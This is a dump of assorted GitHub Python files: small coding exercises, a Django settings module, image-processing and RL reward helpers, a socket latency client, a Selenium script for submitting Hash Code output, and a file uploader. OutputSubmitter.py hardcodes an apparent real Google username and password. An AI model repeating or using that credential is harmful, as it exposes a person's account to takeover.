{score}.\")","repo_name":"Gabrielle-Ribeiro/100-days-of-python","sub_path":"src/day14 - higher and lower/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37362029333","text":"from math import floor\nfrom functools import reduce\n\n\ndef calculate_expected_value(sumArray, lValue, rValue):\n sumValue = sumArray[rValue] - sumArray[lValue-1]\n length = rValue - lValue + 1\n return sumValue//length\n\n\ndef main():\n arrayLength, noOfQueries = list(map(int, input().strip().split(' ')))\n array = list(map(int, input().strip().split(' ')))\n queries = []\n sumArray = [0] * (arrayLength+1)\n for iterator in range(1, arrayLength+1):\n sumArray[iterator] = sumArray[iterator-1]+array[iterator-1]\n for iterator in range(noOfQueries):\n lrArray = list(map(int, input().strip().split(' ')))\n queries.append({'lValue': lrArray[0], 'rValue': lrArray[1]})\n for iterator in range(noOfQueries):\n print(calculate_expected_value(sumArray,\n queries[iterator]['lValue'], queries[iterator]['rValue']))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"privateOmega/coding101","sub_path":"hackerearth/CodeMonk/Basic Programming/Basics of IO/play-with-numbers.py","file_name":"play-with-numbers.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"35790197868","text":"import sys\n\n# the readlines method \n# converts stdin into a list\nlines = sys.stdin.readlines()\nfor line in lines:\n if line.startswith(\"#\"):\n # we take a string slice of \n # everything after the first character\n line_number = int(line[1:]) - 1\n print(lines[line_number].strip())\n else:\n print(line.strip())\n\n# by using startswith and string sclicing, we\n# can avoid regex, which should always be the case\n","repo_name":"ekohilas/comp2041_prac_soln","sub_path":"version_1/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18433446302","text":"number = input(\"Na jake cislo chcete zpravu odeslat?\")\nnumber = number.replace(\" \", \"\")\ndef validate(number):\n if len(number) == 9:\n print(\"V poradku.\")\n return True\n elif len(number) == 13:\n if number.startswith(\"+420\"):\n print(\"V poradku.\")\n return True\n else:\n print(\"Cislo neni v poradku.\")\n return False\nvporadku = validate(number)\nmessage = 0\nif vporadku:\n def price(message):\n message = input(\"Jaky je text zpravy?\")\n lengthofmessage = len(message)\n coefficient = lengthofmessage // 180 + 1\n priceofmessage = coefficient * 3\n print(f\"Cena vasi zpravy je {priceofmessage} Kc.\")\nprice(message)","repo_name":"Kruto-n/python-012021","sub_path":"2/program08.py","file_name":"program08.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71305495758","text":"# ledger.settings.base\n# Configurations that are common to all environments\n#\n# Author: Benjamin Bengfort <benjamin@bengfort.com>\n# Created: Sat Apr 14 10:24:26 2018 -0400\n#\n# ID: base.py [36d8a34] benjamin@bengfort.com $\n\n\"\"\"\nDjango settings for ledger project that are common to all environments.\n\nOriginally generated by 'django-admin startproject' using Django 2.0.4 as\nledger.settings.py -- this file has been adapted to a multi-file settings\nconfiguration.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/2.0/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/2.0/ref/settings/\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nimport os\nimport warnings\nimport dj_database_url\n\n\n##########################################################################\n## Path and Helpers\n##########################################################################\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nCONFDIR = os.path.dirname(os.path.abspath(__file__))\nPROJECT = os.path.normpath(os.path.join(CONFDIR, \"..\", \"..\"))\n\n\ndef environ_setting(name, default=None):\n \"\"\"\n Fetch setting from the environment or use default. If default is None then\n raise a warning that Django is not configured properly.\n \"\"\"\n if name not in os.environ and default is None:\n warnings.warn(\n \"{} ENVVAR is not set.\".format(name), UserWarning\n )\n return None\n\n return os.environ.get(name, default)\n\n\ndef parse_bool(val):\n if isinstance(val, str):\n if val.lower().startswith('f'):\n return False\n if val.lower().startswith('t'):\n return True\n\n val = int(val)\n return bool(val)\n\n\n##########################################################################\n## Application Specific\n##########################################################################\n\n# Specifies the day which the balance sheet must be completed.\nBILLING_DAY_OF_MONTH = 6\n\n\n##########################################################################\n## Secrets\n##########################################################################\n\n# WARNING: keep the secret key used in production secret!\nSECRET_KEY = environ_setting(\"SECRET_KEY\")\n\n\n##########################################################################\n## Database\n##########################################################################\n\n# Database\n# https://docs.djangoproject.com/en/2.0/ref/settings/#databases\nDATABASES = {\n 'default': dj_database_url.config(conn_max_age=600),\n}\n\nDATABASES['default']['ENGINE'] = 'django.db.backends.postgresql_psycopg2'\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\n\n##########################################################################\n## Runtime\n##########################################################################\n\n# WARNING: don't run with debug turned on in production!\nDEBUG = parse_bool(environ_setting(\"DEBUG\", True))\n\n# Specify hosts in production settings\nALLOWED_HOSTS = []\nINTERNAL_IPS = ['127.0.0.1']\n\n# WSGI Configuration\nROOT_URLCONF = 'ledger.urls'\nWSGI_APPLICATION = 'ledger.wsgi.application'\n\n# Application definition\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.humanize',\n 'mathfilters',\n 'rest_framework',\n 'social_django',\n 'accounts',\n 'budget',\n 'taxes',\n]\n\n# Request handling\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'social_django.middleware.SocialAuthExceptionMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n]\n\n# Internationalization\n# https://docs.djangoproject.com/en/2.0/topics/i18n/\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'America/New_York'\nUSE_I18N = True\nUSE_TZ = True\n\n\n##########################################################################\n## Content (Static, Media, Templates)\n##########################################################################\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.0/howto/static-files/\nSTATIC_URL = '/assets/'\n\nSTATICFILES_DIRS = (\n os.path.join(PROJECT, 'assets'),\n)\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(PROJECT, \"templates\")],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'social_django.context_processors.backends',\n 'social_django.context_processors.login_redirect',\n ],\n },\n },\n]\n\n##########################################################################\n## Authentication\n##########################################################################\n\nLOGIN_URL = '/user/login/'\nLOGIN_ERROR_URL = LOGIN_URL\nLOGIN_REDIRECT_URL = '/'\n\n\n# Password validation\n# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n# Support for Social Auth authentication backends\nAUTHENTICATION_BACKENDS = (\n 'social_core.backends.google.GoogleOAuth2',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n\n##########################################################################\n## Social Auth Settings\n##########################################################################\n\nSOCIAL_AUTH_URL_NAMESPACE = 'social'\nSOCIAL_AUTH_JSONFIELD_ENABLED = True\n\nSOCIAL_AUTH_PIPELINE = (\n 'social_core.pipeline.social_auth.social_details',\n 'social_core.pipeline.social_auth.social_uid',\n 'social_core.pipeline.social_auth.auth_allowed',\n 'social_core.pipeline.social_auth.social_user',\n 'social_core.pipeline.user.get_username',\n 'social_core.pipeline.user.create_user',\n 'social_core.pipeline.social_auth.associate_user',\n 'social_core.pipeline.debug.debug',\n 'social_core.pipeline.social_auth.load_extra_data',\n 'social_core.pipeline.user.user_details',\n 'social_core.pipeline.debug.debug',\n)\n\nSOCIAL_AUTH_GOOGLE_OAUTH2_KEY = environ_setting('GOOGLE_OAUTH2_CLIENT_ID', \"\")\nSOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = environ_setting('GOOGLE_OAUTH2_CLIENT_SECRET', \"\")\nSOCIAL_AUTH_GOOGLE_OAUTH2_WHITELISTED_DOMAINS = ['bengfort.com']\nSOCIAL_AUTH_GOOGLE_OAUTH2_IGNORE_DEFAULT_SCOPE = True\nSOCIAL_AUTH_GOOGLE_OAUTH2_SCOPE = [\n 'https://www.googleapis.com/auth/userinfo.email',\n 'https://www.googleapis.com/auth/userinfo.profile'\n]\n\n# Exception handling\nGOOGLE_OAUTH2_SOCIAL_AUTH_RAISE_EXCEPTIONS = True\nSOCIAL_AUTH_RAISE_EXCEPTIONS = True\n\n\n##########################################################################\n## Django REST Framework\n##########################################################################\n\nREST_FRAMEWORK = {\n ## API Authentication\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.SessionAuthentication',\n ),\n\n ## Default permissions to access the API\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n ),\n\n ## Pagination in the API\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGINATE_BY': 50,\n 'PAGINATE_BY_PARAM': 'per_page',\n 'MAX_PAGINATE_BY': 200,\n}\n\n\n##########################################################################\n## Logging and Error Reporting\n##########################################################################\n\nADMINS = [\n ('Ledger Admin', environ_setting(\"LEDGER_ADMIN_EMAIL\", \"\"))\n]\n\nSERVER_EMAIL = environ_setting(\"SERVER_EMAIL\", \"\")\nEMAIL_USE_TLS = True\nEMAIL_HOST = environ_setting(\"EMAIL_HOST\", \"\")\nEMAIL_HOST_USER = environ_setting(\"EMAIL_HOST_USER\", \"\")\nEMAIL_HOST_PASSWORD = environ_setting(\"EMAIL_HOST_PASSWORD\", \"\")\nEMAIL_PORT = environ_setting(\"EMAIL_PORT\", 587)\nEMAIL_SUBJECT_PREFIX = '[LEDGER] '\n","repo_name":"bbengfort/ledger","sub_path":"ledger/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8977,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"74229185358","text":"import cv2\nimport numpy as np\nimport threading\nimport json\nfrom PIL import Image\nfrom PIL import ImageOps\n\nclass Rewarder:\n def __init__(self, w, h):\n super(Rewarder, self).__init__()\n # self.img_w = 80 # assume image size(240x320)\n # self.img_h = 60\n\n # self.reward_w = 20 # for calculating rewards\n # self.reward_h = 8\n self.img_w = w\n self.img_h = h\n\n if self.img_w == 320:\n self.reward_w = 80\n self.reward_h = 32\n elif self.img_w == 80:\n self.reward_w = 20\n self.reward_h = 8\n else:\n print(\"Invalid rewarder initialization\\n\")\n\n self.sonar_thresh = 8\n self.grass_thresh = 0.5\n\n self.reward_grass = -1.0\n self.reward_obstacle = -2.0\n self.reward_road = 0.5\n self.reward_center = 0.5\n\n\n def reward(self, img, sonars):\n for sonar in sonars:\n if sonar <self.sonar_thresh:\n return self.reward_obstacle\n # assume image size (240, 320)\n target_img = img[self.img_h-self.reward_h:, int((self.img_w - self.reward_w)/2): int((self.img_w + self.reward_w)/2)]\n if np.sum(target_img) < (self.grass_thresh * 255 * self.reward_w * self.reward_h):\n return self.reward_grass\n else:\n num_road = np.sum(img > 0)\n ratio_left_road = np.sum(img[:, :int(self.img_w/2)] > 0)/num_road\n ratio_right_road = np.sum(img[:, int(self.img_w/2):] > 0)/num_road\n\n road_bonus = self.reward_center * num_road/(self.img_w * self.img_h) * (1 - abs(ratio_left_road - ratio_right_road))\n #center_bonus = (1 - np.sum(mirror_img != img) / (self.img_w * self.img_h)) ** 2 * self.reward_center\n return self.reward_road + road_bonus\n\n\nclass ImgProcessor:\n def __init__(self, path = None):\n super(ImgProcessor, self).__init__()\n self.l1 = np.array([0,0,80]) \n self.h1 = np.array([50,50,254])\n\n self.l2 = np.array([90,30,5])\n self.h2 = np.array([120,255,120])\n\n self.l3 = np.array([80,0,100])\n self.h3 = np.array([175,60,170])\n\n self.l4 = np.array([160, 160, 160])\n self.h4 = np.array([255, 255, 255])\n\n self.img_path = path if path is not None else \"/Users/karl/Documents/Notebooks/RobotRL/Record/\"\n\n # def save_img(self, img, step):\n # cv2.imwrite(img_path+str(step)+\".png\", img)\n\n def process_img(self, img):\n img = self.blur(img) #blur\n img = self.bgr2hsv(img) #hsv\n img = self.hsv2gray(self.cut(img, self.l1, self.h1) + self.cut(img, self.l2, self.h2) + self.cut(img, self.l3, self.h3) + self.cut(img, self.l4, self.h4)) #gray\n img = self.erode(self.dilate(img, 2), 2) #fill\n\n _, thresh = cv2.threshold(img, 0, 255, 0) # return biggest tour\n _, contours, _ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n res_img = np.zeros_like(img)\n if (len(contours) != 0):\n contour = max(contours, key = cv2.contourArea)\n res_img = cv2.drawContours(res_img, [contour], 0, (255), thickness=cv2.FILLED)\n return res_img\n\n\n def bgr2hsv(self, img):\n return cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n def rgb2hsv(self, img):\n return cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n def dilate(self, img, k, r=1):\n kernel = np.ones((3,3), np.uint8)/r\n return cv2.dilate(img, kernel, iterations=k) \n \n def erode(self, img, k, r=1):\n kernel = np.ones((3,3), np.uint8)/r\n return cv2.erode(img, kernel, iterations=k) \n \n def blur(self, img, size=5):\n return cv2.GaussianBlur(img,(5,5),-1)\n \n def show(self, imgs):\n cv2.startWindowThread()\n for i in range(len(imgs)):\n cv2.imshow('image'+str(i),imgs[i])\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n \n def cut(self, img, lower_bound, upper_bound):\n mask = cv2.inRange(img, lower_bound, upper_bound)\n return cv2.bitwise_and(img,img, mask= mask)\n \n def hsv2gray(self, img):\n return img[:,:,2]\n\nclass Saver(threading.Thread):\n def __init__(self, path, img, sonars):\n super(Saver, self).__init__()\n self.path = path\n self.img = img\n self.sonars = sonars\n\n def run(self):\n data = {}\n img = {}\n for k, v in self.img.items():\n img[k] = v.tolist()\n data['img'] = img\n data['sonar'] = self.sonars\n with open(self.path, 'w') as f:\n json.dump(data, f)\n\n\ndef show(imgs):\n cv2.startWindowThread()\n for i in range(len(imgs)):\n cv2.imshow('image'+str(i),imgs[i])\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n","repo_name":"KarlXing/robotrl","sub_path":"utils_obs.py","file_name":"utils_obs.py","file_ext":"py","file_size_in_byte":4735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29634926321","text":"# coding: utf-8\n# !/usr/bin/env python\nimport os\nimport shutil\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nimport autoit\nimport time\n\n\ndef get_parent_path(path):\n return os.path.abspath(os.path.join(path, os.pardir))\n\n\ndef zip_folder(zip_name, folder_to_zip):\n shutil.make_archive(zip_name, 'zip', folder_to_zip)\n return os.path.join(os.getcwd(), zip_name + '.zip')\n\n\nclass OutputSubmitter:\n LOGIN_PATH = \"https://accounts.google.com/ServiceLogin/signinchooser\"\n SUBMISSION_PATH = 'https://hashcodejudge.withgoogle.com/?fbclid=IwAR2w6c78ZORzjx7yQpDlz3jKaJzOmnlM4hIFRBtUAOpBkX4FHZRD1P7Rpy4#/rounds/6417837228818432/submissions/'\n\n\n\n\n\n LOGIN = \"damien.pointin2\"\n PASSWORD = \"234567damANN\" # set your google password here\n\n def __init__(self, project_name):\n self.web_browser = webdriver.Chrome()\n self.wait = WebDriverWait(self.web_browser, 10)\n self.project_name = project_name\n\n def google_log_in(self):\n self.web_browser.get(self.LOGIN_PATH)\n for (element_name, value, validation) in [(\"identifier\", self.LOGIN, \"identifierNext\"),\n (\"password\", self.PASSWORD, \"passwordNext\")]:\n self.wait.until(expected_conditions.element_to_be_clickable((By.ID, validation)))\n self.web_browser.find_element_by_name(element_name).send_keys(value)\n self.web_browser.find_element_by_id(validation).click()\n # Wait until welcome zone is displayed on the screen\n self.wait.until(expected_conditions.visibility_of_element_located((By.CLASS_NAME, \"ZrQ9j\")))\n\n def find_by_ng_click(self, ng_click_pattern):\n return self.web_browser.find_elements_by_xpath(\"//*[@ng-click='{}']\".format(ng_click_pattern))\n\n def safe_ng_click(self, ng_click_pattern, button=None):\n xpath_pattern = \"//*[@ng-click='{}']\".format(ng_click_pattern)\n self.wait.until(expected_conditions.visibility_of_element_located((By.XPATH, xpath_pattern)))\n if not button:\n self.find_by_ng_click(ng_click_pattern)[0].click()\n else:\n button.click()\n\n def get_output_files(self):\n output_folder = os.path.join(os.getcwd(), self.project_name, \"output\")\n output_folder_list = os.listdir(output_folder)\n output_current_id = 0\n output_files = []\n for i, input_file in enumerate(xrange(len(os.listdir(os.path.join(os.getcwd(), self.project_name, \"input\"))))):\n output_current_file = output_folder_list[output_current_id] \\\n if output_current_id < len(output_folder_list) else \"\"\n if str(i) in output_current_file:\n output_files.append(os.path.join(output_folder, output_current_file))\n output_current_id += 1\n else:\n output_files.append(\"\")\n return output_files\n\n def submit_output(self):\n output_files = [zip_folder('source_code', os.path.join(os.getcwd(), self.project_name, \"source\"))]\n output_files += self.get_output_files()\n\n self.web_browser.get(self.SUBMISSION_PATH)\n self.safe_ng_click(\"submissionsCtrl.showCreateSubmissionDialog()\")\n upload_buttons = self.find_by_ng_click(\"ctrl.onUploadClick($event)\")\n for i, file_to_upload in enumerate(output_files):\n if not file_to_upload:\n continue\n self.safe_ng_click(\"ctrl.onUploadClick($event)\", upload_buttons[i])\n time.sleep(1)\n autoit.win_wait_active(\"[CLASS:#32770;TITLE:Ouvrir]\", 60)\n autoit.control_send(\"[CLASS:#32770;TITLE:Ouvrir]\", \"Edit1\", file_to_upload)\n autoit.control_click(\"[CLASS:#32770;TITLE:Ouvrir]\", \"Button1\")\n time.sleep(2)\n self.find_by_ng_click(\"submissionsCtrl.createSubmission()\")[0].click()\n\n def close(self):\n self.web_browser.close()\n","repo_name":"dpointin/DossierConsours","sub_path":"OutputSubmitter.py","file_name":"OutputSubmitter.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12296725093","text":"import sys\nfrom numpy.testing import *\nset_package_path()\nfrom swig_ext import example2\nrestore_path()\n\nclass TestExample2(NumpyTestCase):\n\n def check_zoo(self):\n z = example2.Zoo()\n z.shut_up('Tiger')\n z.shut_up('Lion')\n z.display()\n\n\nif __name__ == \"__main__\":\n NumpyTest().run()\n","repo_name":"Pymol-Scripts/Pymol-script-repo","sub_path":"modules/pdb2pqr/contrib/numpy-1.1.0/numpy/distutils/tests/swig_ext/tests/test_example2.py","file_name":"test_example2.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":372,"dataset":"github-code","pt":"29"} +{"seq_id":"40019278677","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\nfrom math import log\nfrom tkinter import *\nfrom tkinter import filedialog\nimport os.path\nfrom os import path\n\ndef Laplacien(U):\n\t(I,J,K)=np.shape(U)\n\tdelt=U.copy()\n\tfor k in range(K):\n\t\tfor i in range(1,I-1):\n\t\t\tfor j in range(1,J-1):\n\t\t\t\t#delt[i,j,k]=(U[i-1,j,k]+U[i+1,j,k]+U[i,j-1,k]+U[i,j+1,k])-4*U[i,j,k]\n\t\t\t\tdelt[i,j,k]=max(((U[i-1,j,k]+U[i+1,j,k]+U[i,j-1,k]+U[i,j+1,k])-4*U[i,j,k]),0)\n\treturn delt\n\ndef log_img(U):\n\tM=np.full(np.shape(U),0.0001, dtype=np.float64)\n\t(I,J,K)=np.shape(U)\n\tfor k in range(K):\n\t\tfor i in range(I):\n\t\t\tfor j in range(J):\n\t\t\t\tif(U[i,j,k]!=0) :\n\t\t\t\t\tM[i,j,k]=log(U[i,j,k])\n\treturn M\n\ndef exp_img(U):\n\treturn np.exp(U,dtype=np.float64)\n\ndef eqa_img(U):\n\tn=U.copy()\n\tn=log_img(U)\n\tfor i in range(6):\n\t\tN=n+(0.5*Laplacien(n))\n\t\tn=N\n\treturn log_img(U)-N\n\ndef askopen():\n\timage_name=filedialog.askopenfilename(initialdir = \"/\", title = \"Select A File\", filetype =((\"Image\",\"*.png *.jpg *.jpeg\"),(\"all files\",\"*.*\")) )\n\ttextentry.delete(0, 'end')\n\ttextentry.insert(0,image_name)\n\tdef click():\n\t\timage = img.imread(image_name)\n\t\tplt.imshow(exp_img(eqa_img(image)))\n\t\tplt.axis('off')\n\t\tplt.show()\n\tif(path.isfile(image_name)) :\n\t\tButton(window,font=button_font,fg='white',bg=button_color,text='OK',width=5,command=click).place(x=550,y=280)\ndef text_check():\n\timage_name=textentry.get()\n\tdef click():\n\t\timage = img.imread(image_name)\n\t\tplt.imshow(exp_img(eqa_img(image)))\n\t\tplt.axis('off')\n\t\tplt.show()\n\text=image_name.split('.')\n\textention=ext[-1].upper()\n\tif(path.isfile(image_name) and (extention=='PNG' or extention=='JPG' or extention=='JPEG')) :\n\t\tButton(window,font=button_font,fg='white',bg=button_color,text='OK',width=5,command=click).place(x=550,y=280)\n\telse:\n\t\tButton(window,font=button_font,fg='white',bg=button_color,text='OK',width=5,state=DISABLED).place(x=550,y=280)\n\n\nbackgrounrd_color=\"#f58442\"\nbutton_color=\"#576161\"\nbutton_font=\"none 12 bold\"\nwindow=Tk()\nwindow.title(\"Image To text\")\nwindow.resizable(0, 0)\nwindow.geometry(\"653x350\")\nwindow.iconbitmap('./.resources/icon.ico')\nButton(window,font=button_font,fg='white',bg=button_color,text='browse',width=6,command=askopen).place(x=540,y=45)\nButton(window,font=button_font,fg='white',bg=button_color,text='check',width=5,command=text_check).place(x=470,y=45)\nButton(window,font=button_font,fg='white',bg=button_color,text='OK',width=5,state=DISABLED).place(x=550,y=280)\ntextentry=Entry(window,bg=\"white\",width=70,text=\"test\")\ntextentry.place(x=25,y=50)\nwindow.configure(background=backgrounrd_color)\nwindow.mainloop()","repo_name":"Salah-Zkara/Text-Cleaning-Py","sub_path":"image_to_text.py","file_name":"image_to_text.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7328800650","text":"import socket\nimport time\nimport numpy as np\n\n# HOSTNAME=\"100.81.37.40\"\n# HOSTNAME=\"100.81.39.6\"\nHOSTNAME=\"localhost\"\n# HOSTNAME='34.203.236.226'\nPORT=8001\nTRIALS = 100\nBYTES = 56\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntry:\n conn = s.connect((HOSTNAME, PORT))\nexcept Exception as e:\n print(e)\n raise e\n\ntimes = []\nstart, end = 0,0\nfor i in range(TRIALS):\n start = time.time()\n\n s.send(b'x'*BYTES)\n s.recv(BYTES)\n end = time.time()\n times.append(end-start)\n print (times[-1])\n\nprint ('Running %d trials on (%s, %d)' % (TRIALS, HOSTNAME, PORT))\nprint ('Passing %d bytes over a SOCK_STREAM' % BYTES)\nprint ('median', np.median(times))\nprint ('mean', np.mean(times))\nprint ('stdev', np.std(times))\n\ns.close()","repo_name":"palashc/osbench","sub_path":"network/rtt-client.py","file_name":"rtt-client.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40469057431","text":"import datetime\n\nfrom pathlib import Path\n\nfrom qcpump.pumps.base import STRING, BasePump, DIRECTORY, BOOLEAN, MULTCHOICE\nfrom qcpump.pumps.common.qatrack import QATrackFetchAndPostTextFile, QATrackFetchAndPostBinaryFile\n\n\nclass BaseQATrackGenericUploader:\n\n TEST_LIST_CONFIG = {\n 'name': \"Test List\",\n 'multiple': False,\n 'dependencies': [\"QATrack+ API\"],\n 'validation': 'validate_test_list',\n 'fields': [\n {\n 'name': 'name',\n 'type': STRING,\n 'required': True,\n 'help': \"Enter the name of the Test List you want to upload data to.\",\n },\n {\n 'name': 'slug',\n 'label': \"Test Macro Name\",\n 'type': STRING,\n 'required': True,\n 'help': \"Enter the macro name of the Upload test in this test list.\",\n 'default': 'upload',\n },\n ]\n }\n\n FILE_TYPE_CONFIGS = {\n 'name': 'File Types',\n 'fields': [\n {\n 'name': 'recursive',\n 'type': BOOLEAN,\n 'required': True,\n 'default': False,\n 'help': \"Should files from subdirectories be included?\",\n },\n {\n 'name': 'pattern',\n 'type': STRING,\n 'required': True,\n 'default': \"*\",\n 'help': (\n \"Enter a file globbing pattern (e.g. 'some-name-*.txt') to only \"\n \"include certain files. Use '*' to include all files.\"\n ),\n },\n {\n 'name': 'ignore pattern',\n 'type': STRING,\n 'required': True,\n 'default': \"\",\n 'help': (\n \"Enter a file globbing pattern (e.g. 'some-name-*.txt') to ignore \"\n \"certain files. Leave blank to not exclude any files.\"\n ),\n },\n {\n 'name': 'use file modified time',\n 'type': BOOLEAN,\n 'required': False,\n 'default': False,\n 'help': (\n \"Check to use the file modified time for the work_started/work_completed date.\"\n \"Leave unchecked to use the current date / time (default for backwards compatibility).\"\n ),\n },\n ],\n }\n\n DIRECTORY_CONFIG = {\n 'name': 'Directories',\n 'multiple': True,\n 'validation': 'validate_source_dest',\n 'dependencies': [\"QATrack+ API\"],\n 'fields': [\n {\n 'name': 'unit name',\n 'label': \"QATrack+ Unit Name\",\n 'type': MULTCHOICE,\n 'required': True,\n 'help': \"Select the name of the unit in the QATrack+ database\",\n 'choices': 'get_qatrack_unit_choices',\n },\n {\n 'name': 'source',\n 'type': DIRECTORY,\n 'required': True,\n 'help': \"Enter the root directory you want to read files from.\",\n },\n {\n 'name': 'destination',\n 'type': DIRECTORY,\n 'required': True,\n 'help': (\n \"Enter the target directory that you want to move files to after they are uploaded. \"\n \"(Leave blank if you don't want the files to be moved)\"\n ),\n },\n ],\n }\n\n def validate_source_dest(self, values):\n \"\"\"Ensure that source and destination directories are set.\"\"\"\n valid = values['source'] and Path(values['source']).is_dir()\n msg = \"OK\" if valid else \"You must set a valid source directory\"\n return valid, msg\n\n def validate_test_list(self, values):\n \"\"\"Ensure a test list name is given\"\"\"\n\n valid = bool(values['name'] and values['slug'])\n msgs = []\n if not values['name']:\n msgs.append(\"You must set a test list name\")\n if not values['slug']:\n msgs.append(\"You must set a test macro name\")\n\n return valid, \"OK\" if valid else '\\n'.join(msgs)\n\n def fetch_records(self):\n\n searcher_config = self.get_config_values(\"File Types\")[0]\n\n records = []\n self.move_to = {}\n for unit_dir in self.get_config_values(\"Directories\"):\n path_searcher = searcher_config.copy()\n path_searcher.update(unit_dir)\n\n from_dir = path_searcher['source']\n to_dir = path_searcher['destination']\n\n paths = self.get_paths(path_searcher)\n for path in paths:\n move_to = Path(str(path).replace(from_dir, to_dir)) if to_dir else None\n records.append((unit_dir['unit name'], path, move_to))\n\n return records\n\n def post_process(self, record):\n unit, path, move_to = record\n\n try:\n move_to.parent.mkdir(parents=True, exist_ok=True)\n path.replace(move_to)\n msg = f\"Moved {path} to {move_to}\"\n except Exception as e:\n msg = f\"Failed to move {path} to {move_to}: {e}\"\n\n self.log_info(msg)\n\n def get_paths(self, mover):\n \"\"\"Get a listing of all files in our source directory and filter them based on our config options\"\"\"\n globber = self.construct_globber(mover['pattern'], mover['recursive'])\n self.log_debug(f\"Getting paths with globber: '{globber}' and mover: {mover}\")\n all_paths = Path(mover['source']).glob(globber)\n return self.filter_paths(all_paths, mover['ignore pattern'])\n\n def construct_globber(self, pattern, recursive):\n \"\"\"Consutruct a globber for reading from our source directory\"\"\"\n return f\"**/{pattern}\" if recursive else pattern\n\n def filter_paths(self, paths, ignore_pattern):\n \"\"\"Filter out any paths that match our ignore pattern\"\"\"\n paths = (p for p in paths if not p.is_dir())\n if ignore_pattern in [\"\", None]:\n return list(paths)\n return [p for p in paths if not p.match(f\"*/{ignore_pattern}\")]\n\n def test_list_for_record(self, record):\n \"\"\"Use the same test list name for all files\"\"\"\n return self.get_config_value(\"Test List\", \"name\")\n\n def work_datetimes_for_record(self, record):\n use_modified_time = self.get_config_value('File Types', 'use file modified time')\n unit, path, move_to = record\n if use_modified_time:\n work_started = path.stat().st_mtime\n work_started = datetime.datetime.fromtimestamp(work_started)\n else:\n work_started = datetime.datetime.now()\n return work_started, work_started + datetime.timedelta(seconds=1)\n\n def qatrack_unit_for_record(self, record):\n \"\"\"Accept a record to process and return a QATrack+ Unit name. Must be overridden in subclasses\"\"\"\n unit, path, move_to = record\n return unit\n\n def id_for_record(self, record):\n unit, path, move_to = record\n modified = datetime.datetime.fromtimestamp(path.stat().st_mtime).isoformat()\n return f\"QCPump/GenericTextFileUploader/{unit}/{modified}/{path.stem}\"\n\n def slug_and_filename_for_record(self, record):\n unit, path, move_to = record\n slug = self.get_config_value(\"Test List\", \"slug\")\n return slug, 